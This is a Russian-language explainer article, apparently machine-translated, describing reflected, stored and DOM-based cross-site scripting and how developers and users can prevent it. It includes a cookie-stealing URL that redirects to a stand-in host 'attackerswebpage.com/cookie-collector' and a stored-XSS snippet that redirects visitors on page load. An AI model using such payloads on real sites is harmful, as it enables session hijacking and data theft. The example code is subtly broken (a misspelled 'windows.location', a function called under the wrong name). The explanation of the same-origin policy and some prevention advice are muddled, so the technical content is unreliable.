Как хакеры используют межсайтовый скриптинг для взлома сайтов и кражи данных
Межсайтовый скриптинг или XSS могут быть мощной и быстрой атакой. Как разработчик вы можете даже принять это за ошибку в своем коде и в конечном итоге начать поиск ошибок, которых нет.
Как клиент, использующий уязвимый веб-сайт, вы также можете невинно раскрыть важную информацию о вашем доступе для аутентификации злоумышленнику.
Так что же такое межсайтовый скриптинг? Как хакеры могут использовать его для взлома веб-сайта и кражи ваших данных? И как можно снизить такой риск?
Что такое межсайтовый скриптинг?
Межсайтовый скриптинг или XSS происходит, если скрипт с вредоносного веб-сайта взаимодействует с кодом на уязвимом.
Но серверы подключены таким образом, чтобы люди без аутентификации не могли получить доступ и редактировать исходный код вашего сайта.
Интернет использует ту же политику происхождения (SOP), чтобы блокировать межсайтовые взаимодействия. Однако СОП проверяет три основных лазейки в безопасности и пытается устранить их. Они есть:
- Политика интернет-протокола, которая проверяет, доставляют ли оба веб-сайта контент по защищенному SSL (HTTPS) или по незащищенному URL-адресу (HTTP).
- Одна и та же политика веб-хостинга, которая гарантирует, что вы размещаете оба сайта в одном домене.
- Политика порта, которая проверяет, используют ли оба веб-сайта одинаковые конечные точки связи.
СОП утверждает, что, если какие-либо из этих политик различны для любых двух веб-сайтов, они не могут читать или обмениваться данными через Интернет.
Но JavaScript – это язык манипуляций, который определяет скорость отклика сайта. Хотя JavaScript вашего веб-сайта, скорее всего, находится в отдельном файле, вы также можете создать тег скрипта и записать его в свою объектную модель документа (DOM).
Таким образом, злоумышленник XSS может подумать: «Если вы можете написать JavaScript в DOM, то в конечном итоге вы можете выполнить его в любом редакторе кода или поле ввода, которое принимает теги HTML».
Такая уязвимость и вероятность – это то, что злоумышленник, использующий XSS, ищет на целевом веб-сайте. Как только они найдут такую лазейку, они смогут обойти СОП.
Таким образом, XSS – это атака, которую злоумышленники используют для внедрения сценария, выполняющего вредоносное действие на уязвимый веб-сайт. Сценарий может работать с незащищенными формами или полями ввода, которые принимают данные.
Как работает межсайтовый скриптинг и его типы, с примерами
XSS может представлять собой быстрое выполнение отраженного или временного сценария, который злоумышленник помещает в такие формы, как поля поиска. Это также может быть назойливое или постоянное занятие, введенное в базу данных. Или это могло произойти пассивно после загрузки страницы.
В некоторых случаях этот сценарий также может изменить исходный ввод жертвы, чтобы отвлечь ее намерения. Такое постоянное изменение вводимых пользователем данных – это мутирующий XSS.
В любой форме цель XSS-атаки – украсть данные жертвы через открытые файлы cookie и журналы.
Давайте рассмотрим краткое объяснение каждого из этих типов атак XSS и их примеры, чтобы понять, что они из себя представляют.
Что такое отраженный XSS?
Отраженный или временный XSS – это прямая инъекция JavaScript в поле ввода пользователя. Он нацелен на запросы, которые получают данные из базы данных, например, на результаты поиска. Но это атака на одного клиента.
Во время отраженного XSS злоумышленник вставляет скрипт в поисковый запрос целевой жертвы. Такой JavaScript может быть эхом, перенаправлением или сборщиком файлов cookie.
Скрипт, введенный в поле ввода поиска, затем запускается, как только целевой клиент отправляет свой запрос.
Например, во время поиска пользователя злоумышленник может вставить код JavaScript, который повторяет форму, требуя от жертвы ввода своего пароля или имени пользователя. Как только пользователь сделает это, он может бессознательно отправить свои учетные данные злоумышленнику, думая, что это запрос с исходного сайта.
Иногда злоумышленник также может использовать сценарий для перенаправления пользователя с уязвимой страницы на свою страницу. Там, на странице злоумышленника, ничего не подозревающий пользователь может быть обманут, отправив несколько форм, что приведет к утечке учетных данных.
Точно так же, если целью является украсть сеанс пользователя, злоумышленник вводит сценарий сбора файлов cookie в поисковый запрос пользователя. Затем они захватывают текущий сеанс пользователя, крадут соответствующую информацию и берут на себя действия жертвы.
Пример XSS-атаки ниже крадет cookie пользователя с помощью запроса GET:
http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")
В приведенном выше примере XSS злоумышленник находит лазейку на уязвимом веб-сайте. Поэтому, когда пользователь ищет недоступный ресурс на уязвимом сайте, он перенаправляет их на страницу злоумышленника. Затем злоумышленник нажимает файл cookie текущего пользователя и захватывает его сеанс.
Однако эта уязвимость является распространенной, когда действие запроса сайта не фильтруется для проверки внедрения сценария через HTML.
Но даже если есть отфильтрованный запрос, злоумышленник может обойти это, прибегнув к отчаянным мерам, таким как отправка ссылок возможным пользователям веб-сайта в реальном времени. Они могут сделать это, используя любую доступную им форму социальной инженерии .
После того, как жертва щелкнет такую ссылку, угонщик может успешно выполнить XSS-атаку и украсть соответствующие данные у жертвы.
Постоянные или сохраненные межсайтовые сценарии
Сохраненный XSS представляет больше угроз. В этом случае злоумышленник сохраняет сценарий в базе данных веб-сайта, вызывая постоянное выполнение сохраненного сценария. Сохраненный код может выполняться при загрузке страницы или после загрузки страницы.
В отличие от временной формы XSS, сохраненный XSS нацелен на всю пользовательскую базу уязвимого веб-сайта. В дополнение к этому, он также нацелен на целостность затронутого веб-сайта.
Во время постоянного XSS-атак злоумышленник использует поля ввода, такие как формы комментариев, для публикации сценария в базе данных веб-сайта.
Но что, если вы защитите поля POST токенами CSRF? К сожалению, сохраненные межсайтовые сценарии обходят проверки CSRF.
Это потому, что злоумышленник отправляет форму, как и любой другой пользователь веб-сайта. Таким образом, такая форма комментария отправляет сценарий в базу данных, как и все другие комментарии.
Такая атака может произойти, если в полях ввода на веб-сайте не используются подходящие дезинфицирующие средства для экранирования скриптов и HTML-тегов.
Представьте, что пользователь публикует сценарий ниже, используя форму веб-комментария:
<body onload = maLicious()>
<script>
function malCode(){
window.location.replace("attackerswebpage URL");
}
</script>
<body/>
Когда злоумышленник вставляет подобный код в базу данных веб-сайта, он продолжает перенаправлять жертву на веб-сайт злоумышленника при загрузке страницы. Сценарий также может быть предупреждением, интерактивным модальным окном или встроенной вредоносной рекламой.
Поскольку сценарий выполняет перенаправление при загрузке страницы, жертва, незнакомая с уязвимым веб-сайтом, может не заметить перенаправление.
Затем они продолжают взаимодействие с сайтом злоумышленника. Тем не менее, угонщик может использовать несколько способов для получения информации от жертв, когда они попадают на их веб-страницу.
Что такое DOM или пассивный XSS?
XSS на основе DOM выполняет вредоносный код, встроенный в веб-сайт, заставляя всю DOM на стороне клиента вести себя необычно.
В то время как сохраненный и отраженный XSS нацелен на серверные запросы на веб-сайте, DOM XSS нацелен на действия во время выполнения. Он работает путем вставки скрипта в компонент веб-сайта, который выполняет определенную задачу. Этот компонент не выполняет действия на стороне сервера.
Однако сценарий, вставленный в такой компонент, полностью меняет его назначение. Если этот компонент выполняет задачи, связанные с DOM, например те, которые изменяют элементы веб-сайта, сценарий может принудительно изменить всю веб-страницу.
В худших случаях XSS на основе DOM может имитировать ошибку. Это потому, что веб-страница становится необычно реактивной.
Как предотвратить атаку межсайтового скриптинга
Уязвимость XSS возникает из-за неправильного использования передовых методов работы с серверной частью. Поэтому предотвращение атак с использованием межсайтовых сценариев обычно является обязанностью разработчика. Но пользователи также должны сыграть свою роль.
Использование токена CSFR для полей ввода не похоже на решение XSS-атак. А поскольку эта атака также обходит политику одного и того же происхождения, разработчикам следует проявлять осторожность, чтобы не упустить меры безопасности, предотвращающие XSS.
Следующие превентивные меры полезны для разработчиков.
Очистить поля ввода
Чтобы предотвратить как сохраненный, так и временный XSS, вы должны использовать эффективные дезинфицирующие средства для полей ввода. Например, очистка поисковых запросов предотвращает внедрение тегов в поисковые запросы пользователей.
Используйте Unicode и HTML Auto Escape
Полезно использовать автоматический escape-код HTML и Unicode, чтобы поля ввода, такие как комментарии и формы преобразования, не принимали сценарии и теги HTML. Автоматический выход – это мощная профилактическая мера против сохраненных или постоянных XSS-атак.
Отфильтровать определенные теги
Разрешить пользователям вставлять теги в формы комментариев – плохая идея для любого веб-сайта. Это нарушение безопасности. Однако, если вы должны разрешить это, вы должны принимать только теги, которые не представляют угрозы XSS.
Используйте соответствующую проверку ввода
Даже если вы полностью заблокируете теги, злоумышленник все равно может провести XSS-атаку через социальные сети. Они могут отправлять электронные письма вместо того, чтобы размещать что-либо прямо на уязвимом веб-сайте.
Итак, еще один метод предотвращения этого – эффективная проверка входных данных. Такие меры включают проверку протоколов и обеспечение того, чтобы ваш веб-сайт принимал входные данные только от защищенного HTTPS, а не HTTP.
Использование специализированных библиотек JavaScript, таких как dompurify, также может помочь заблокировать нарушения безопасности, связанные с XSS.
Вы можете использовать такие инструменты, как XSS Scanner или GEEKFLARE, чтобы проверить XSS-уязвимости на своем веб-сайте.
Как пользователи могут предотвратить XSS
Сегодня в Интернете миллионы веб-сайтов. Таким образом, вы вряд ли можете сказать, у какого из них есть проблемы с безопасностью XSS.
Однако как пользователь вы должны убедиться, что знакомы с любой веб-службой, прежде чем использовать ее. Если веб-страница внезапно становится неприятной или начинает вести себя необычно, это может быть красным флажком.
В любом случае будьте осторожны, чтобы не раскрывать личные данные ненадежной третьей стороне. Затем следите за нежелательными электронными письмами или подозрительными сообщениями в социальных сетях, которые могут привести к любой форме фишинговых атак .
Нет единого профилактического метода, подходящего для всех
Мы видели, как выглядит XSS-атака и как ее предотвратить. Во время разработки легко забыть о проверках безопасности XSS. Поэтому разработчики должны предпринять шаги, чтобы не пропустить защиту. Однако комбинация профилактических мер, которые мы перечислили ранее, работает лучше.